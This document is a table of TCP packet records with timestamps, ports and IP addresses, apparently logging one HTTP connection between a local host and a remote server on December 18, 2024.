Dec 18, 2024 21:30:41.997262955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.997306108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.997937918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.997951984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.997996092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.998600960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.998657942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.998977900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.998991013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.999001026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.999030113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.999067068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.999648094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.999660015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.999697924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.000391960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.000405073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.000452042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.001024008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.001038074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.001079082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.001719952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.001733065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.001743078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.001766920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.001801014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.002408028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.002419949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.002468109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.003142118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.003154039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.003191948 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.003789902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.003803015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.003839016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.004472017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.004484892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.004520893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.005167961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.005181074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.005192041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.005218983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.005260944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.005848885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.005862951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.005897999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.006550074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.006562948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.006608963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.007225037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.007236958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.007286072 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.007889032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.007903099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.007913113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.007953882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.008683920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.008716106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.008773088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.009248972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.009274006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.009318113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.009965897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.009978056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.010014057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.010654926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.010668993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.010721922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.011351109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.011363029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.011375904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.011404991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.011423111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.012056112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.012068987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.012100935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.012135983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.012737036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.012748957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.012793064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.013418913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.013432026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.013484955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.014060020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.014103889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.014452934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.014467955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.014483929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.014512062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.014544964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.015135050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.015146971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.015191078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.015775919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.015796900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.015834093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.015847921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.016554117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.016566992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.016613960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.016628027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.017179012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.017191887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.017204046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.017237902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.017266035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.017863035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.017884016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.017924070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.017939091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.018553972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.018564939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.018618107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.019220114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.019241095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.019289017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.019973040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.019985914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.020025015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.020623922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.020637035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.020648003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.020680904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.020708084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.021363020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.021395922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.021418095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.021430969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.021987915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.022000074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.022032976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.022044897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.022686958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.022713900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.022732973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.022754908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.023369074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.023381948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.023416996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.024063110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.024075031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.024085045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.024113894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.024143934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.024785995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.024796009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.024826050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.024842024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.025516987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.025571108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.026118994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.026168108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.026177883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.026218891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.090894938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.090975046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.091177940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.091217995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.091469049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.091542959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.092564106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.092641115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.092726946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.092772961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.093974113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.094018936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.094156027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.094193935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.095514059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.095573902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.095724106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.095796108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.096749067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.096817017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.096910954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.096961975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.098123074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.098176003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.098330021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.098371983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.099600077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.099663973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.099747896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.099797964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.100907087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.100955009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.101080894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.101160049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.102307081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.102363110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.102473021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.102555990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.104031086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.104101896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.104221106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.104262114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.105243921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.105288982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.105488062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.105534077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.106450081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.106492043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.106633902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.106676102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.107918978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.107961893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.108110905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.108795881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.109251976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.109318972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.109399080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.110651970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.110706091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.110785007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.112066031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.112121105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.112195015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.113617897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.113746881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.113785982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.113884926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.113930941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.114865065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.115247011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.115294933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.116210938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.116303921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.116400003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.116445065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.117557049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.117604971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.117737055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.117803097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.118995905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.119131088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.119188070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.120342970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.120388031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.120527029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.120604038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.121692896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.121737003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.121890068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.122049093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.123207092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.123265028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.123373985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.123684883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.124509096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.124558926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.124703884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.124746084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.125885963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.126091003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.126669884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.126738071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.126903057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.126950979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.128082991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.128134012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.128355026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.128478050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.129406929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.129539967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.129595995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.130808115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.130861998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.131006956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.131464005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.132163048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.132206917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.132355928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.132411003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.133538961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.133680105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.133706093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.133747101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.134934902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.134989977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.135132074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.135178089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.136307001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.136444092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.136529922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.136570930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.137707949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.137787104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.137876987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.137917042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.139468908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.139624119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.139774084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.139820099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.140465975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.140511990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.140784979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.140835047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.141865015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.141911983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.142024040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.142066956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.143280029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.143367052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.143460989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.143533945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.144675016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.144723892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.144809008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.144849062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.146255970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.146317959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.146521091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.146645069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.147222042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.147269011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.147336960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.147384882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.148358107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.148406029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.148533106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.148578882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.149465084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.149516106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.149601936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.149645090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.150582075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.150676012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.150757074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.150980949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.151740074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.151787996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.151875019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.151921034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.152896881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.152939081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.153111935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.153155088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.153997898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.154108047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.154198885 CET	80	49819	31.41.244.11	192.168.2.5
